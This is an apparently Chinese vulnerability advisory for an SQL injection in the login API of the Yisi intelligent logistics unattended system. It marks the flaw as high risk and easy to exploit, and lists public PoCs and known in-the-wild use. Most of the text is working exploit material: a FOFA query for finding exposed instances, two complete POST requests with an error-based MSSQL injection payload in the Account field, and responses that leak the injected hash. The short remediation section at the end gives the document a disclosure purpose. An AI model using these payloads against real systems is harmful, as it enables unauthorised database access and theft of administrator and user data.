

易思智能物流无人值守系统 login SQL注入漏洞

漏洞描述

易思智能物流无人值守系统 login SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

易思智能物流无人值守系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

```
FOFA: body="/api/SingleLogin"

POC/EXP: poc1

POST /api/PhoneLogin/login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

Account=1'%20and%20sys.fn_sqlvarbasetostr(HashBytes('MD5','123'))=1--&Epassword=g5edid4OCFI32C5NPEZeXg%3D%3D
```

发送请求 强制 HTTPS 历史

Request

```
1 POST /api/PhoneLogin/login HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded
5 Accept-Encoding: gzip
6
7 Account=1'%20and%20sys.fn_sqlvarbasetostr(HashBytes('MD5','123'))=1--&Epassword=g5edid40CFI32CSNPEZeXg%3D%3D
```

Responses https 464bytes / 182ms

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Tue, 05 Nov 2024 13:29:59 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: keep-alive
6 Cache-Control: no-cache
7 Pragma: no-cache
8 Expires: -1
9 X-AspNet-Version: 4.0.30319
10 X-Powered-By: ASP.NET
11 X-Frame-Options: SAMEORIGIN
12 Strict-Transport-Security: max-age=31536000
13 Content-Security-Policy: connect-src *; object-src 'self'; media-src 'self'; font-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://api.map.baidu.com
14 X-XSS-Protection: 1; mode=block
15 Referrer-Policy: origin
16 X-Permitted-Cross-Domain-Policies: none
17 X-Download-Options: noopen
18 Access-Control-Allow-Origin: *
19 Content-Length: 464
20
21 {"IsSuccess":false,"Message":"English Message: Entity mapping error.在将 nvarchar 值 '0x202cb962ac59075b964b07152d234b70' 转换成数据类型 int 时失败。 \nChinese Message: 实体与表映射出错。在将 nvarchar 值 '0x202cb962ac59075b964b07152d234b70' 转换成数据类型 int 时失败。","Result":null,"UserModel":null,"AuthModel":null,"ProjectName":null,"SOBInfos":null,"IsShowCode":false,"CONFIGCODE":null,"ProjectConfig":null,"SOBDate":null}
```

POC/EXP: poc2

POST /api/PhoneLogin/login HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

LoginUserType=0&DeviceType=2&Account=1'%20and%20sys.fn_sqlvarbasetostr(HashBytes('MD5','123'))=1--

&BrowserType=Firefox&Verifycode=&IMEI=&isverify=false&SetOfBooks=Default&Epassword=1wD%2Bj6elbahZGOatg1Spiw%3D%3D

发送请求 强制 HTTPS 历史

Request

```
1 POST /api/PhoneLogin/login HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded
5 Accept-Encoding: gzip
6
7 LoginUserType=0&DeviceType=2&Account=1'%20and%20sys.fn_sqlvarbasetostr(HashBytes('MD5','123'))=1--&BrowserType=Firefox&Verifycode=&IMEI=&isverify=false&SetOfBooks=Default&Epassword=1wD%2Bj6elbahZGOatg1Spiw%3D%3D
```

Responses https 464bytes / 114ms

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Tue, 05 Nov 2024 13:33:08 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: keep-alive
6 Cache-Control: no-cache
7 Pragma: no-cache
8 Expires: -1
9 X-AspNet-Version: 4.0.30319
10 X-Powered-By: ASP.NET
11 X-Frame-Options: SAMEORIGIN
12 Strict-Transport-Security: max-age=31536000
13 Content-Security-Policy: connect-src *; object-src 'self'; media-src 'self'; font-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://api.map.baidu.com
14 X-XSS-Protection: 1; mode=block
15 Referrer-Policy: origin
16 X-Permitted-Cross-Domain-Policies: none
17 X-Download-Options: noopen
18 Access-Control-Allow-Origin: *
19 Content-Length: 464
20
21 {"IsSuccess":false,"Message":"English Message: Entity mapping error.在将 nvarchar 值 '0x202cb962ac59075b964b07152d234b70' 转换成数据类型 int 时失败。 \nChinese Message: 实体与表映射出错。在将 nvarchar 值 '0x202cb962ac59075b964b07152d234b70' 转换成数据类型 int 时失败。","Result":null,"UserModel":null,"AuthModel":null,"ProjectName":null,"SOBInfos":null,"IsShowCode":false,"CONFIGCODE":null,"ProjectConfig":null,"SOBDate":null}
```

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本